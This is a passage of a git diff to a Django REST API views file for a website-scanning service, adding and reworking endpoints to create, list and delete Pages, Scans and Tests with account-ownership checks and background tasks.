             return Response(data, status=status.HTTP_403_FORBIDDEN)
+
+
+    if page_id != None:
+        
+        try:
+            page = Page.objects.get(id=page_id)
+        except:
+            data = {'reason': 'cannot find a Page with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
         
+        if page.account != account:
+            data = {'reason': 'cannot retrieve a Page you do not own',}
+            return Response(data, status=status.HTTP_403_FORBIDDEN)
+
         serializer_context = {'request': request,}
-        serialized = TestSerializer(test, context=serializer_context)
+        serialized = PageSerializer(page, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-
-    try:
-        site = Site.objects.get(id=site_id)
-    except:
-        if site_id != None:
-            data = {'reason': 'cannot find a site with that id',}
-            this_status = status.HTTP_404_NOT_FOUND
-            status_code = '404'
-        else:
-            data = {'reason': 'you did not provide the site_id'}
-            this_status = status.HTTP_400_BAD_REQUEST
-            status_code = '400'
-        record_api_call(request, data, status_code)
-        return Response(data, status=this_status)
-
-    if site.account != account:
-        data = {'reason': 'retrieve Tests of a Site you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
     
-    if time_begin == None and site != None and time_end != None:
-        tests = Test.objects.filter(site=site).filter(time_completed__lte=time_end).order_by('-time_created')
-    elif time_end == None and site != None and time_begin != None:  
-        tests = Test.objects.filter(site=site).filter(time_completed__gte=time_begin).order_by('-time_created')
-    elif time_end != None and time_begin != None and site != None:
-        tests = Test.objects.filter(site=site).filter(time_completed__gte=time_begin).filter(time_completed__lte=time_end).order_by('-time_created')
-    elif time_end == None and time_begin == None and Site != None:
-        tests = Test.objects.filter(site=site).order_by('-time_created')
-    else:
-        data = {'reason': 'you did not provide the right params',}
-        record_api_call(request, data, '400')
-        return Response(data, status=status.HTTP_400_BAD_REQUEST)
-        
+    pages = Page.objects.filter(site=site).order_by('-time_created')
     paginator = LimitOffsetPagination()
-    result_page = paginator.paginate_queryset(tests, request)
+    result_page = paginator.paginate_queryset(pages, request)
     serializer_context = {'request': request,}
-    serialized = TestSerializer(result_page, many=True, context=serializer_context)
-    if lean is not None:
-        serialized = SmallTestSerializer(result_page, many=True, context=serializer_context)
-        
+    serialized = PageSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
-
     return response
 
 
 
 
-
-def get_test_lean(request, id):
+def delete_page(request, id):
     user = request.user
     account = Member.objects.get(user=user).account
-
+    
     try:
-        test = Test.objects.get(id=id)
+        page = Page.objects.get(id=id)
     except:
-        data = {'reason': 'cannot find a Test with that id'}
+        data = {'reason': 'cannot find a Page with that id'}
         record_api_call(request, data, '404')
         return Response(data, status=status.HTTP_404_NOT_FOUND)
 
-    if test.site.account != account:
-        data = {'reason': 'retrieve Tests of a Site you do not own'}
+    if page.account != account:
+        data = {'reason': 'delete a Page you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
-    # get images_delta if exists
-    try:
-        images_delta = {"average_score": test.images_delta.get('average_score')}
+    # remove s3 objects
+    delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
+    
+    # remove page
+    page.delete()
+
+    data = {'message': 'Page has been deleted',}
+    record_api_call(request, data, '200')
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
+def delete_many_pages(request):
+    ids = request.data.get('ids')
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    if ids is not None:
+        count = len(ids)
+        num_succeeded = 0
+        succeeded = []
+        num_failed = 0
+        failed = []
+        user = request.user
+        this_status = True
+
+        for id in ids:
+            try:
+                page = Page.objects.get(id=id)
+                if page.account == account:
+                    delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
+                    page.delete()
+                num_succeeded += 1
+                succeeded.append(str(id))
+            except:
+                num_failed += 1
+                failed.append(str(id))
+                this_status = False
+
+        data = {
+            'success': this_status,
+            'num_succeeded': num_succeeded,
+            'succeeded': succeeded,
+            'num_failed': num_failed,
+            'failed': failed, 
+        }
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    
+    data = {
+        'reason': 'you must provide an array of id\'s'
+    }
+    record_api_call(request, data, '400')
+    response = Response(data, status=status.HTTP_400_BAD_REQUEST)
+    return response
+
+
+
+
+
+
+
+
+
+def create_scan(request=None, delay=False, *args, **kwargs):
+    if request is not None:
+        site_id = request.data.get('site_id')
+        page_id = request.data.get('page_id')
+        configs = request.data.get('configs')
+        types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+        tags = request.data.get('tags')
+        user = request.user
+    if request is None:
+        site_id = kwargs.get('site_id')
+        page_id = kwargs.get('page_id')
+        configs = kwargs.get('configs')
+        types = kwargs.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+        tags = kwargs.get('tags')
+        user_id = kwargs.get('user_id')
+        user = User.objects.get(id=user_id)
+    account = Member.objects.get(user=user).account
+
+    account_is_active = check_account(user=user)
+    if not account_is_active:
+        data = {'reason': 'account not funded', 'success': False}
+        if request is not None:
+            record_api_call(request, data, '402')
+            return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        return data
+
+    if len(types) == 0:
+        types = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
+        
+    
+    if site_id is not None:
+        try:
+            site = Site.objects.get(id=site_id)
+        except:
+            data = {'reason': 'cannot find a Site with that id', 'success': False,}
+            if request is not None:
+                record_api_call(request, data, '404')
+                return Response(data, status=status.HTTP_404_NOT_FOUND)
+            return data
+
+        if site.account != account:
+            data = {'reason': 'create a Scan of a Site you do not own', 'success': False,}
+            if request is not None:
+                record_api_call(request, data, '403')
+                return Response(data, status=status.HTTP_403_FORBIDDEN)
+            return data
+    
+    if page_id is not None:
+        try:
+            page = Page.objects.get(id=page_id)
+        except:
+            data = {'reason': 'cannot find a Page with that id', 'success': False,}
+            if request is not None:
+                record_api_call(request, data, '404')
+                return Response(data, status=status.HTTP_404_NOT_FOUND)
+            return data
+
+        if page.account != account:
+            data = {'reason': 'create a Scan of a Page you do not own', 'success': False,}
+            if request is not None:
+                record_api_call(request, data, '403')
+                return Response(data, status=status.HTTP_403_FORBIDDEN)
+            return data
+
+    if not configs:
+        configs = {
+            'window_size': '1920,1080',
+            'interval': 5,
+            'driver': 'selenium',
+            'device': 'desktop',
+            'mask_ids': None,
+            'min_wait_time': 10,
+            'max_wait_time': 60,
+            'timeout': 300,
+            'disable_animations': False
+        }
+
+    if site_id is not None and page_id is None:
+        pages = Page.objects.filter(site=site)
+    
+    if site_id is None and page_id is not None:
+        pages = [page,]
+
+    created_scans = []
+    for p in pages:
+        # creating scan obj
+        created_scan = Scan.objects.create(
+            site=p.site,
+            page=p,
+            tags=tags, 
+            type=types,
+            configs=configs,
+        )
+
+        # adding scan to array
+        created_scans.append(str(created_scan.id))
+        message = 'Scans are being created in the background'
+
+        if delay == True:
+            # running scans in parallel 
+            if 'html' in types or 'logs' in types or 'full' in types:
+                run_html_and_logs_bg.delay(scan_id=created_scan.id)
+            if 'lighthouse' in types or 'full' in types:
+                run_lighthouse_bg.delay(scan_id=created_scan.id)
+            if 'yellowlab' in types or 'full' in types:
+                run_yellowlab_bg.delay(scan_id=created_scan.id)
+            if 'vrt' in types or 'full' in types:
+                run_vrt_bg.delay(scan_id=created_scan.id)
+        else:
+            updated_scan = S(scan=created_scan, configs=configs).first_scan()
+            message = 'Scans have completed running'
+
+    # returning dynaminc response
+    data = {
+        'success': True,
+        'message': message,
+        'ids': created_scans,
+    }
+    if request is not None:
+        record_api_call(request, data, '201')
+        return Response(data, status=status.HTTP_201_CREATED)
+    return data
+
+
+
+
+def create_many_scans(request):
+    site_ids = request.data.get('site_ids')
+    page_ids = request.data.get('page_ids')
+    configs = request.data.get('configs')
+    type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    tags = request.data.get('tags')
+    user = request.user
+
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    if site_ids:
+        for id in site_ids:
+            data = {
+                'site_id': str(id), 
+                'configs': configs,
+                'type': type,
+                'tags': tags,
+                'user_id': str(user.id)
+            }
+            try:
+                res = create_scan(delay=True, **data)
+                if res['success']:
+                    num_succeeded += 1
+                    succeeded.append(str(id))
+                else:
+                    num_failed += 1
+                    this_status = False
+                    failed.append(str(id))
+            except:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+
+    if page_ids:
+        for id in page_ids:
+            data = {
+                'page_id': str(id), 
+                'configs': configs,
+                'type': type,
+                'tags': tags,
+                'user_id': str(user.id)
+            }
+            try:
+                res = create_scan(delay=True, **data)
+                if res['success']:
+                    num_succeeded += 1
+                    succeeded.append(str(id))
+                else:
+                    num_failed += 1
+                    this_status = False
+                    failed.append(str(id))
+            except:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
+    
+    record_api_call(request, data, '201')
+    return Response(data, status=status.HTTP_201_CREATED)
+
+
+
+def get_scans(request):
+
+    user = request.user
+    account = Member.objects.get(user=user).account
+    scan_id = request.query_params.get('scan_id')
+    page_id = request.query_params.get('page_id')
+    time_begin = request.query_params.get('time_begin')
+    time_end = request.query_params.get('time_end')
+    lean = request.query_params.get('lean')
+
+    if scan_id != None:
+        try:
+            scan = Scan.objects.get(id=scan_id)
+        except:
+            data = {'reason': 'cannot find a Scan with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+
+        if scan.site.account != account:
+            data = {'reason': 'retrieve Scans of a Site you do not own',}
+            record_api_call(request, data, '403')
+            return Response(data, status=status.HTTP_403_FORBIDDEN)
+        
+        serializer_context = {'request': request,}
+        serialized = ScanSerializer(scan, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK)
+
+    
+    try:
+        page = Page.objects.get(id=page_id)
     except:
-        images_delta = None
+        data = {'reason': 'cannot find a Page with that id'}
+        record_api_call(request, data, '404')
+        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    
+
+    if page.account != account:
+        data = {'reason': 'retrieve Scans of a Site you do not own',}
+        record_api_call(request, data, '403')
+        return Response(data, status=status.HTTP_403_FORBIDDEN)
+
+    
+    if time_begin == None and page != None and time_end != None:
+        scans = Scan.objects.filter(page=page).filter(time_created__lte=time_end).order_by('-time_created')
+    elif time_end == None and page != None and time_begin != None:  
+        scans = Scan.objects.filter(page=page).filter(time_created__gte=time_begin).order_by('-time_created')
+    elif time_end == None and time_begin == None and page != None:
+        scans = Scan.objects.filter(page=page).order_by('-time_created')
+    elif time_end != None and time_begin != None and page != None:
+        scans = Scan.objects.filter(page=page).filter(time_created__gte=time_begin).filter(time_created__lte=time_end).order_by('-time_created')
+
+        
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(scans, request)
+    serializer_context = {'request': request,}
+    serialized = ScanSerializer(result_page, many=True, context=serializer_context)
+    if lean is not None:
+        serialized = SmallScanSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response
+
+
+
+
+def get_scan_lean(request, id):
+    user = request.user
+    account = Member.objects.get(user=user).account
 
-    # get lighthouse_delta if exists
     try:
-        lighthouse_delta = {"scores": test.lighthouse_delta.get('scores')}
+        scan = Scan.objects.get(id=id)
     except:
-        lighthouse_delta = None
+        data = {'reason': 'cannot find a Scan with that id'}
+        record_api_call(request, data, '404')
+        return Response(data, status=status.HTTP_404_NOT_FOUND)
 
-     # get lighthouse_delta if exists
+    if scan.site.account != account:
+        data = {'reason': 'retrieve Scans of a Site you do not own'}
+        record_api_call(request, data, '403')
+        return Response(data, status=status.HTTP_403_FORBIDDEN)
+
+    # get lighthouse scores if exists
     try:
-        yellowlab_delta = {"scores": test.yellowlab_delta['scores']}
+        lighthouse = {"scores": scan.lighthouse.get('scores')}
     except:
-        yellowlab_delta = None
+        lighthouse = None
+    
+    # get yellowlab scores if exists
+    try:
+        yellowlab = {"scores": scan.yellowlab.get('scores')}
+    except:
+        yellowlab = None
 
     data = {
-        "id": str(test.id),
-        "site": str(test.site.id),
-        "tags": test.tags,
-        "type": test.type,
-        "time_created": str(test.time_created),
-        "time_completed": str(test.time_completed),
-        "pre_scan": str(test.pre_scan.id),
-        "post_scan": str(test.post_scan.id),
-        "score": test.score,
-        "lighthouse_delta": lighthouse_delta,
-        "yellowlab_delta": yellowlab_delta,
-        "images_delta": images_delta,
+        "id": str(scan.id),
+        "site": str(scan.site.id),
+        "tags": scan.tags,
+        "type": scan.type,
+        "time_created": str(scan.time_created),
+        "time_completed": str(scan.time_completed),
+        "lighthouse": lighthouse,
+        "yellowlab": yellowlab,
     }
 
     record_api_call(request, data, '200')
@@ -535,36 +1007,36 @@ def get_test_lean(request, id):
 
 
 
-
-
-
-def delete_test(request, id):
+def delete_scan(request, id):
     try:
-        test = Test.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Test with that id'}
+        scan = Scan.objects.get(id=id)
+    except Exception as e:
+        data = {'reason': 'cannot find a Scan with that id'}
         record_api_call(request, data, '404')
         return Response(data, status=status.HTTP_404_NOT_FOUND)
         
-    site = test.site
+    site = scan.site
     user = request.user
     account = Member.objects.get(user=user).account
 
+
     if site.account != account:
-        data = {'reason': 'delete Tests of a Site you do not own',}
+        data = {'reason': 'delete Scans of a Site you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
-    test.delete()
+    delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
+    scan.delete()
 
-    data = {'message': 'Test has been deleted',}
+    data = {'message': 'Scan has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
 
 
 
-def delete_many_tests(request):
+
+def delete_many_scans(request):
     ids = request.data.get('ids')
     user = request.user
     account = Member.objects.get(user=user).account
@@ -580,9 +1052,10 @@ def delete_many_tests(request):
 
         for id in ids:
             try:
-                test = Test.objects.get(id=id)
-                if test.site.account == account:
-                    test.delete()
+                scan = Scan.objects.get(id=id)
+                if scan.site.account == account:
+                    delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
+                    scan.delete()
                 num_succeeded += 1
                 succeeded.append(str(id))
             except:
@@ -591,16 +1064,17 @@ def delete_many_tests(request):
                 this_status = False
 
         data = {
-            'status': this_status,
+            'success': this_status,
             'num_succeeded': num_succeeded,
             'succeeded': succeeded,
             'num_failed': num_failed,
             'failed': failed, 
         }
+        
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
-    
+
     data = {
         'reason': 'you must provide an array of id\'s'
     }
@@ -612,37 +1086,85 @@ def delete_many_tests(request):
 
 
 
-def create_scan(request, delay=False):
-    
-    user = request.user
-    account = Member.objects.get(user=user).account
-    site_id = request.data.get('site_id', None)
-    configs = request.data.get('configs', None)
-    types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
-    tags = request.data.get('tags', None)
 
-    if len(types) == 0:
-        types = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
-    
-    try:
-        site = Site.objects.get(id=site_id)
-    except:
-        data = {'reason': 'cannot find a Site with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
 
-    account_is_active = check_account(request)
+
+
+def create_test(request=None, delay=False, *args, **kwargs):
+    if request is not None:
+        # get data from request
+        configs = request.data.get('configs')
+        pre_scan_id = request.data.get('pre_scan')
+        post_scan_id = request.data.get('post_scan')
+        index = request.data.get('index')
+        test_type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+        tags = request.data.get('tags')
+        pre_scan = None
+        post_scan = None
+        site_id = request.data.get('site_id')
+        page_id = request.data.get('page_id')
+        user = request.user
+    if request is None:
+        configs = kwargs.get('configs')
+        pre_scan_id = kwargs.get('pre_scan')
+        post_scan_id = kwargs.get('post_scan')
+        index = kwargs.get('index')
+        test_type = kwargs.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+        tags = kwargs.get('tags')
+        pre_scan = None
+        post_scan = None
+        site_id = kwargs.get('site_id')
+        page_id = kwargs.get('page_id')
+        user_id = kwargs.get('user_id')
+        user = User.objects.get(id=user_id)
+        # get data from kwargs
+    account = Member.objects.get(user=user).account
+
+    account_is_active = check_account(user=user)
     if not account_is_active:
-        data = {'reason': 'account not funded',}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-    
-    if site.account != account:
-        data = {'reason': 'create a Scan of a Site you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+        data = {'reason': 'account not funded', 'success': False,}
+        if request is not None:
+            record_api_call(request, data, '402')
+            return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        return data
+
+    if site_id is not None:
+        try:
+            site = Site.objects.get(id=site_id)
+        except:
+            data = {'reason': 'cannot find a Site with that id', 'success': False,}
+            if request is not None:
+                record_api_call(request, data, '404')
+                return Response(data, status=status.HTTP_404_NOT_FOUND)
+            return data
+
+        if site.account != account:
+            data = {'reason': 'create a Test of a Site you do not own', 'success': False,}
+            if request is not None:
+                record_api_call(request, data, '403')
+                return Response(data, status=status.HTTP_403_FORBIDDEN)
+            return data
     
+    if page_id is not None:
+        try:
+            page = Page.objects.get(id=page_id)
+        except:
+            data = {'reason': 'cannot find a Page with that id', 'success': False,}
+            if request is not None:
+                record_api_call(request, data, '404')
+                return Response(data, status=status.HTTP_404_NOT_FOUND)
+            return data
+        if page.account != account:
+            data = {'reason': 'create a Test of a Page you do not own', 'success': False,}
+            if request is not None:
+                record_api_call(request, data, '403')
+                return Response(data, status=status.HTTP_403_FORBIDDEN)
+            return data
+        
 
+    if len(test_type) == 0:
+        test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
+    
     if not configs:
         configs = {
             'window_size': '1920,1080',
@@ -656,155 +1178,321 @@ def create_scan(request, delay=False):
             'disable_animations': False
         }
 
-    # creating scan obj
-    created_scan = Scan.objects.create(
-        site=site, 
-        tags=tags, 
-        type=types,
-        configs=configs,
-    )
 
-    if delay == True:
+    if site_id is not None and page_id is None:
+        pages = Page.objects.filter(site=site)
+    
+    if site_id is None and page_id is not None:
+        pages = [page]
+
+    created_tests = []
+    for p in pages:
+
+        if not Scan.objects.filter(page=p).exists():
+            data = {'reason': 'Page not yet onboarded', 'success': False,}
+            record_api_call(request, data, '400')
+            return Response(data, status=status.HTTP_400_BAD_REQUEST)
+        
+        if pre_scan_id:
+            try:
+                pre_scan = Scan.objects.get(id=pre_scan_id)
+            except:
+                data = {'reason': 'cannot find a Scan with that id - pre_scan', 'success': False,}
+                if request is not None:
+                    record_api_call(request, data, '404')
+                    return Response(data, status=status.HTTP_404_NOT_FOUND)
+                return data
+        if post_scan_id:
+            try:
+                post_scan = Scan.objects.get(id=post_scan_id)
+            except:
+                data = {'reason': 'cannot find a Scan with that id - post_scan', 'success': False,}
+                if request is not None:
+                    record_api_call(request, data, '404')
+                    return Response(data, status=status.HTTP_404_NOT_FOUND)
+                return data
+
+        # grabbing most recent Scan 
+        if pre_scan_id is None:
+            pre_scan = Scan.objects.filter(page=p).order_by('-time_created')[0]
+
+        if pre_scan:
+            if pre_scan.time_completed == None:
+                data = {'reason': 'pre_scan still running', 'success': False,}
+                if request is not None:
+                    record_api_call(request, data, '400')
+                    return Response(data, status=status.HTTP_400_BAD_REQUEST)
+                return data
+        
+        if post_scan:
+            if post_scan.time_completed == None:
+                data = {'reason': 'post_scan still running', 'success': False,}
+                if request is not None:
+                    record_api_call(request, data, '400')
+                    return Response(data, status=status.HTTP_400_BAD_REQUEST)
+                return data
+
+        # creating test object
+        test = Test.objects.create(
+            site=p.site,
+            page=p,
+            type=test_type,
+            tags=tags,
+        )
+        
+        if delay == True:
+            create_test_bg.delay(
+                page_id=page.id,
+                test_id=test.id,
+                configs=configs,
+                type=test_type,
+                index=index,
+                pre_scan=pre_scan_id, 
+                post_scan=post_scan_id,
+                tags=tags,
+            )
+            message = 'Tests are being created in the background'
+            
+        else:
+            if not pre_scan and not post_scan:
+                new_scan = S(site=p.site, page=p, configs=configs, type=test_type)
+                post_scan = new_scan.second_scan()
+                pre_scan = post_scan.paired_scan
+
+            if not post_scan and pre_scan:
+                post_scan = S(site=p.site, page=p, scan=pre_scan, configs=configs, type=test_type).second_scan()
+
+            # updating parired scans
+            pre_scan.paired_scan = post_scan
+            post_scan.paried_scan = pre_scan
+            pre_scan.save()
+            post_scan.save()
+
+            # updating test object
+            test.type = test_type
+            test.type = test_type
+            test.pre_scan = pre_scan
+            test.post_scan = post_scan
+            test.save()
+
+            # running tester
+            updated_test = T(test=test).run_test(index=index)
+            message = 'Tests have completed running'
+
+    
+    # returning dynaminc response
+    data = {
+        'success': True,
+        'message': message,
+        'ids': created_tests,
+    }
+    if request is not None:
+        record_api_call(request, data, '201')
+        return Response(data, status=status.HTTP_201_CREATED)
+    return data
+
+
 
-        # running scans in selenium mode
-        if 'html' in types or 'logs' in types or 'full' in types:
-            print('running html & logs')
-            run_html_and_logs_bg.delay(scan_id=created_scan.id)
-        if 'lighthouse' in types or 'full' in types:
-            print('running lighthouse')
-            run_lighthouse_bg.delay(scan_id=created_scan.id)
-        if 'yellowlab' in types or 'full' in types:
-            print('running yellowlab')
-            run_yellowlab_bg.delay(scan_id=created_scan.id)
-        if 'vrt' in types or 'full' in types:
-            print('running vrt')
-            run_vrt_bg.delay(scan_id=created_scan.id)
 
+def create_many_tests(request):
+    site_ids = request.data.get('site_ids')
+    page_ids = request.data.get('page_ids')
+    configs = request.data.get('configs')
+    type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    tags = request.data.get('tags')
+    user = request.user
 
-        data = {
-            'status': True,
-            'message': 'scan is being created in the background',
-            'id': str(created_scan.id),
-        }
-        record_api_call(request, data, '201')
-        return Response(data, status=status.HTTP_201_CREATED)
-    else:
-        updated_scan = S(scan=created_scan, configs=configs).first_scan()
-        serializer_context = {'request': request,}
-        serialized = ScanSerializer(updated_scan, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '201')
-        response = Response(data, status=status.HTTP_201_CREATED)
-        return response
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    if site_ids:
+        for id in site_ids:
+            data = {
+                'site_id': str(id), 
+                'configs': configs,
+                'type': type,
+                'tags': tags,
+                'user_id': str(user.id)
+            }
+            try:
+                res = create_test(delay=True, **data)
+                if res['success']:
+                    num_succeeded += 1
+                    succeeded.append(str(id))
+                else:
+                    num_failed += 1
+                    this_status = False
+                    failed.append(str(id))
+            except:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
 
+    if page_ids:
+        for id in page_ids:
+            data = {
+                'page_id': str(id), 
+                'configs': configs,
+                'type': type,
+                'tags': tags,
+                'user_id': str(user.id)
+            }
+            try:
+                res = create_test(delay=True, **data)
+                if res['success']:
+                    num_succeeded += 1
+                    succeeded.append(str(id))
+                else:
+                    num_failed += 1
+                    this_status = False
+                    failed.append(str(id))
+            except:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
 
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
 
+    record_api_call(request, data, '201')
+    return Response(data, status=status.HTTP_201_CREATED)
+    
 
 
-def get_scans(request):
 
+def get_tests(request):
     user = request.user
     account = Member.objects.get(user=user).account
-    scan_id = request.query_params.get('scan_id')
-    site_id = request.query_params.get('site_id')
+    test_id = request.query_params.get('test_id')
+    page_id = request.query_params.get('page_id')
     time_begin = request.query_params.get('time_begin')
     time_end = request.query_params.get('time_end')
     lean = request.query_params.get('lean')
+    
+
+    if test_id != None:
 
-    if scan_id != None:
         try:
-            scan = Scan.objects.get(id=scan_id)
+            test = Test.objects.get(id=test_id)
         except:
-            data = {'reason': 'cannot find a Scan with that id'}
+            data = {'reason': 'cannot find a Test with that id'}
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND)
 
-        if scan.site.account != account:
-            data = {'reason': 'retrieve Scans of a Site you do not own',}
+        if test.site.account != account:
+            data = {'reason': 'retrieve Tests of a Site you do not own'}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
         serializer_context = {'request': request,}
-        serialized = ScanSerializer(scan, context=serializer_context)
+        serialized = TestSerializer(test, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    
+
     try:
-        site = Site.objects.get(id=site_id)
+        page = Page.objects.get(id=page_id)
     except:
-        data = {'reason': 'cannot find a Site with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
+        if page_id != None:
+            data = {'reason': 'cannot find a Page with that id',}
+            this_status = status.HTTP_404_NOT_FOUND
+            status_code = '404'
+        else:
+            data = {'reason': 'you did not provide the page_id'}
+            this_status = status.HTTP_400_BAD_REQUEST
+            status_code = '400'
+        record_api_call(request, data, status_code)
+        return Response(data, status=this_status)
 
-    if site.account != account:
-        data = {'reason': 'retrieve Scans of a Site you do not own',}
+    if page.site.account != account:
+        data = {'reason': 'retrieve Tests of a Site you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
-
     
-    if time_begin == None and site != None and time_end != None:
-        scans = Scan.objects.filter(site=site).filter(time_created__lte=time_end).order_by('-time_created')
-    elif time_end == None and site != None and time_begin != None:  
-        scans = Scan.objects.filter(site=site).filter(time_created__gte=time_begin).order_by('-time_created')
-    elif time_end == None and time_begin == None and site != None:
-        scans = Scan.objects.filter(site=site).order_by('-time_created')
-    elif time_end != None and time_begin != None and site != None:
-        scans = Scan.objects.filter(site=site).filter(time_created__gte=time_begin).filter(time_created__lte=time_end).order_by('-time_created')
-
+    if time_begin == None and page != None and time_end != None:
+        tests = Test.objects.filter(page=page).filter(time_completed__lte=time_end).order_by('-time_created')
+    elif time_end == None and page != None and time_begin != None:  
+        tests = Test.objects.filter(page=page).filter(time_completed__gte=time_begin).order_by('-time_created')
+    elif time_end != None and time_begin != None and page != None:
+        tests = Test.objects.filter(page=page).filter(time_completed__gte=time_begin).filter(time_completed__lte=time_end).order_by('-time_created')
+    elif time_end == None and time_begin == None and Site != None:
+        tests = Test.objects.filter(page=page).order_by('-time_created')
+    else:
+        data = {'reason': 'you did not provide the right params',}
+        record_api_call(request, data, '400')
+        return Response(data, status=status.HTTP_400_BAD_REQUEST)
         
     paginator = LimitOffsetPagination()
-    result_page = paginator.paginate_queryset(scans, request)
+    result_page = paginator.paginate_queryset(tests, request)
     serializer_context = {'request': request,}
-    serialized = ScanSerializer(result_page, many=True, context=serializer_context)
+    serialized = TestSerializer(result_page, many=True, context=serializer_context)
     if lean is not None:
-        serialized = SmallScanSerializer(result_page, many=True, context=serializer_context)
+        serialized = SmallTestSerializer(result_page, many=True, context=serializer_context)
+        
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
+
     return response
 
 
 
 
-def get_scan_lean(request, id):
+def get_test_lean(request, id):
     user = request.user
     account = Member.objects.get(user=user).account
 
     try:
-        scan = Scan.objects.get(id=id)
+        test = Test.objects.get(id=id)
     except:
-        data = {'reason': 'cannot find a Scan with that id'}
+        data = {'reason': 'cannot find a Test with that id'}
         record_api_call(request, data, '404')
         return Response(data, status=status.HTTP_404_NOT_FOUND)
 
-    if scan.site.account != account:
-        data = {'reason': 'retrieve Scans of a Site you do not own'}
+    if test.site.account != account:
+        data = {'reason': 'retrieve Tests of a Site you do not own'}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
-    # get lighthouse scores if exists
+    # get images_delta if exists
     try:
-        lighthouse = {"scores": scan.lighthouse.get('scores')}
+        images_delta = {"average_score": test.images_delta.get('average_score')}
     except:
-        lighthouse = None
-    
-    # get yellowlab scores if exists
+        images_delta = None
+
+    # get lighthouse_delta if exists
     try:
-        yellowlab = {"scores": scan.yellowlab.get('scores')}
+        lighthouse_delta = {"scores": test.lighthouse_delta.get('scores')}
     except:
-        yellowlab = None
+        lighthouse_delta = None
+
+     # get lighthouse_delta if exists
+    try:
+        yellowlab_delta = {"scores": test.yellowlab_delta['scores']}
+    except:
+        yellowlab_delta = None
 
     data = {
-        "id": str(scan.id),
-        "site": str(scan.site.id),
-        "tags": scan.tags,
-        "type": scan.type,
-        "time_created": str(scan.time_created),
-        "time_completed": str(scan.time_completed),
-        "lighthouse": lighthouse,
-        "yellowlab": yellowlab,
+        "id": str(test.id),
+        "site": str(test.site.id),
+        "tags": test.tags,
+        "type": test.type,
+        "time_created": str(test.time_created),
+        "time_completed": str(test.time_completed),
+        "pre_scan": str(test.pre_scan.id),
+        "post_scan": str(test.post_scan.id),
+        "score": test.score,
+        "lighthouse_delta": lighthouse_delta,
+        "yellowlab_delta": yellowlab_delta,
+        "images_delta": images_delta,
     }
 
     record_api_call(request, data, '200')
@@ -814,34 +1502,35 @@ def get_scan_lean(request, id):
 
 
 
-def delete_scan(request, id):
+def delete_test(request, id):
     try:
-        scan = Scan.objects.get(id=id)
-    except Exception as e:
-        data = {'reason': 'cannot find a Scan with that id'}
